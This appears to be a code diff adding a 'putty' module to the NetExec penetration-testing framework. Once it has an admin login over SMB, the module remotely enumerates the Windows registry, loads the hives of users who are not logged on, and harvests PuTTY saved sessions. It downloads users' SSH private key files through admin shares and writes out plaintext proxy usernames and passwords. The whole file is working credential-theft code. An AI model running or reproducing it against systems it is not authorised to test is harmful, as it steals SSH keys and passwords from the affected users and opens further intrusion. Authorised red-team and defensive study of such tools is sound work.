|
| 1 | +from datetime import datetime |
| 2 | +from io import BytesIO |
| 3 | +import traceback |
| 4 | +from urllib.parse import unquote |
| 5 | +from impacket.dcerpc.v5.rpcrt import DCERPCException |
| 6 | +from impacket.dcerpc.v5 import rrp |
| 7 | +from impacket.examples.secretsdump import RemoteOperations |
| 8 | +from os import makedirs |
| 9 | +from nxc.helpers.logger import highlight |
| 10 | +from nxc.paths import NXC_PATH |
| 11 | +import re |
| 12 | + |
| 13 | + |
| 14 | +class NXCModule: |
| 15 | + """Module by @NeffIsBack""" |
| 16 | + |
| 17 | + name = "putty" |
| 18 | + description = "Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found." |
| 19 | + supported_protocols = ["smb"] |
| 20 | + opsec_safe = True |
| 21 | + multiple_hosts = True |
| 22 | + |
| 23 | + def __init__(self): |
| 24 | + self.context = None |
| 25 | + self.module_options = None |
| 26 | + self.rrp = None |
| 27 | + |
| 28 | + def options(self, context, module_options): |
| 29 | + """No options available""" |
| 30 | + |
| 31 | + def get_logged_on_users(self): |
| 32 | + """Enumerate all logged in and loaded Users on System""" |
| 33 | + reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"] |
| 34 | + key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"] |
| 35 | + users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"] |
| 36 | + |
| 37 | + # Get User Names |
| 38 | + user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)] |
| 39 | + rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) |
| 40 | + |
| 41 | + # Filter legit users in regex |
| 42 | + user_objects.remove(".DEFAULT") |
| 43 | + regex = re.compile(r"^.*_Classes$") |
| 44 | + return [i for i in user_objects if not regex.match(i)] |
| 45 | + |
| 46 | + def get_all_users(self): |
| 47 | + """Get all users that have logged in at some point in time""" |
| 48 | + reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"] |
| 49 | + key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"] |
| 50 | + users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"] |
| 51 | + |
| 52 | + # Get User Names |
| 53 | + user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)] |
| 54 | + rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) |
| 55 | + return user_objects |
| 56 | + |
| 57 | + def sid_to_name(self, all_users): |
| 58 | + """Convert SID to Usernames for better readability""" |
| 59 | + reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"] |
| 60 | + |
| 61 | + user_dict = {} |
| 62 | + for user_object in all_users: |
| 63 | + key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"] |
| 64 | + user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0] |
| 65 | + rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) |
| 66 | + user_dict[user_object] = user_profile_path.split("\\")[-1] |
| 67 | + return user_dict |
| 68 | + |
| 69 | + def load_missing_users(self, unloaded_user_objects): |
| 70 | + """Load missing users into registry to access their registry keys.""" |
| 71 | + for user_object in unloaded_user_objects: |
| 72 | + # Extract profile Path of NTUSER.DAT |
| 73 | + reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"] |
| 74 | + key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"] |
| 75 | + user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0] |
| 76 | + rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) |
| 77 | + |
| 78 | + # Load Profile |
| 79 | + reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"] |
| 80 | + key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"] |
| 81 | + |
| 82 | + self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}") |
| 83 | + rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT") |
| 84 | + rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) |
| 85 | + |
| 86 | + def unload_missing_users(self, unloaded_user_objects): |
| 87 | + """If some user were not logged in at the beginning we unload them from registry.""" |
| 88 | + reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"] |
| 89 | + key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"] |
| 90 | + |
| 91 | + for user_object in unloaded_user_objects: |
| 92 | + self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}") |
| 93 | + try: |
| 94 | + rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object) |
| 95 | + except Exception as e: |
| 96 | + self.context.log.fail(f"Error unloading user {user_object} in registry: {e}") |
| 97 | + self.context.log.debug(traceback.format_exc()) |
| 98 | + rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) |
| 99 | + |
| 100 | + def get_private_key_paths(self, all_users): |
| 101 | + """Get all private key paths for all users""" |
| 102 | + sessions = [] |
| 103 | + reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"] |
| 104 | + |
| 105 | + for user in all_users: |
| 106 | + try: |
| 107 | + key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions")["phkResult"] |
| 108 | + reg_sessions = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"] |
| 109 | + self.context.log.info(f'Found {reg_sessions} sessions for user "{self.user_dict[user]}" in registry!') |
| 110 | + |
| 111 | + # Get Session Names |
| 112 | + session_names = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(reg_sessions)] |
| 113 | + rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) |
| 114 | + |
| 115 | + # Extract stored Session infos |
| 116 | + for session_name in session_names: |
| 117 | + key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions\\{session_name}")["phkResult"] |
| 118 | + |
| 119 | + # Get private Key Path |
| 120 | + private_key_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PublicKeyFile")[1].split("\x00")[:-1][0] |
| 121 | + proxy_host = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyHost")[1].split("\x00")[:-1][0] |
| 122 | + proxy_port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPort")[1] |
| 123 | + proxy_username = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyUsername")[1].split("\x00")[:-1][0] |
| 124 | + proxy_password = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPassword")[1].split("\x00")[:-1][0] |
| 125 | + |
| 126 | + # Session infos |
| 127 | + hostname = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0] |
| 128 | + port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PortNumber")[1] |
| 129 | + protocol = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "Protocol")[1].split("\x00")[:-1][0] |
| 130 | + sessions.append({ |
| 131 | + "user": self.user_dict[user], |
| 132 | + "session_name": unquote(session_name), |
| 133 | + "hostname": hostname, |
| 134 | + "port": port, |
| 135 | + "protocol": protocol, |
| 136 | + "private_key_path": private_key_path, |
| 137 | + "proxy_host": proxy_host, |
| 138 | + "proxy_port": proxy_port, |
| 139 | + "proxy_username": proxy_username, |
| 140 | + "proxy_password": proxy_password |
| 141 | + }) |
| 142 | + rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) |
| 143 | + |
| 144 | + except DCERPCException as e: |
| 145 | + if str(e).find("ERROR_FILE_NOT_FOUND"): |
| 146 | + self.context.log.debug(f"No PuTTY session config found in registry for user {self.user_dict[user]}") |
| 147 | + except Exception as e: |
| 148 | + self.context.log.fail(f"Unexpected error: {e}") |
| 149 | + self.context.log.debug(traceback.format_exc()) |
| 150 | + return sessions |
| 151 | + |
| 152 | + def extract_session(self, sessions): |
| 153 | + proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-") |
| 154 | + for session in sessions: |
| 155 | + if session["private_key_path"]: |
| 156 | + makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True) |
| 157 | + share = session["private_key_path"].split(":")[0] + "$" |
| 158 | + file_path = session["private_key_path"].split(":")[1] |
| 159 | + download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec".replace(":", "-") |
| 160 | + |
| 161 | + buf = BytesIO() |
| 162 | + with open(download_path, "wb") as file: |
| 163 | + try: |
| 164 | + self.connection.conn.getFile(share, file_path, buf.write) |
| 165 | + except Exception as e: |
| 166 | + if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") != -1: |
| 167 | + self.context.log.fail(f"Private key path found but file not found: {share + file_path}") |
| 168 | + else: |
| 169 | + self.context.log.exception(f"Error downloading private key: {e}") |
| 170 | + continue |
| 171 | + file.write(buf.getvalue()) |
| 172 | + self.context.log.success(f"Private key found for user \"{session['user']}\", saved to {highlight(download_path)}") |
| 173 | + self.context.log.highlight(f"Sessionname: {session['session_name']}") |
| 174 | + self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}") |
| 175 | + self.context.log.highlight(f"Protocol: {session['protocol']}") |
| 176 | + if session["proxy_password"]: |
| 177 | + self.context.log.success(f"Found proxy credentials for user \"{session['user']}\"") |
| 178 | + self.context.log.highlight(f"Sessionname: {session['session_name']}") |
| 179 | + self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}") |
| 180 | + self.context.log.highlight(f"Protocol: {session['protocol']}") |
| 181 | + self.context.log.highlight(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}") |
| 182 | + self.context.log.highlight(f"Proxy Username: {session['proxy_username']}") |
| 183 | + self.context.log.highlight(f"Proxy Password: {session['proxy_password']}") |
| 184 | + with open(proxycreds_file, "a") as f: |
| 185 | + f.write("================\n") |
| 186 | + f.write(f"User: {session['user']}\n") |
| 187 | + f.write(f"Sessionname: {session['session_name']}\n") |
| 188 | + f.write(f"Host: {session['hostname']}:{session['port']}\n") |
| 189 | + f.write(f"Protocol: {session['protocol']}\n") |
| 190 | + f.write(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}\n") |
| 191 | + f.write(f"Proxy Username: {session['proxy_username']}\n") |
| 192 | + f.write(f"Proxy Password: {session['proxy_password']}\n") |
| 193 | + self.context.log.display(f"Proxy credentials saved to {highlight(proxycreds_file)}") |
| 194 | + |
| 195 | + def on_admin_login(self, context, connection): |
| 196 | + self.connection = connection |
| 197 | + self.context = context |
| 198 | + |
| 199 | + try: |
| 200 | + self.rrp = RemoteOperations(connection.conn, connection.kerberos) |
| 201 | + self.rrp.enableRegistry() |
| 202 | + |
| 203 | + all_users = self.get_all_users() |
| 204 | + loaded_user_objects = self.get_logged_on_users() |
| 205 | + self.user_dict = self.sid_to_name(all_users) |
| 206 | + |
| 207 | + # Users which must be loaded into registry: |
| 208 | + unloaded_user_objects = list(set(all_users).symmetric_difference(set(loaded_user_objects))) |
| 209 | + self.load_missing_users(unloaded_user_objects) |
| 210 | + |
| 211 | + sessions = self.get_private_key_paths(all_users) |
| 212 | + if sessions: |
| 213 | + self.extract_session(sessions) |
| 214 | + else: |
| 215 | + self.context.log.info("No saved putty sessions found in registry") |
| 216 | + |
| 217 | + self.unload_missing_users(unloaded_user_objects) |
| 218 | + except Exception as e: |
| 219 | + context.log.exception(f"Error: {e}") |
| 220 | + finally: |
| 221 | + self.rrp.finish() |
0 commit comments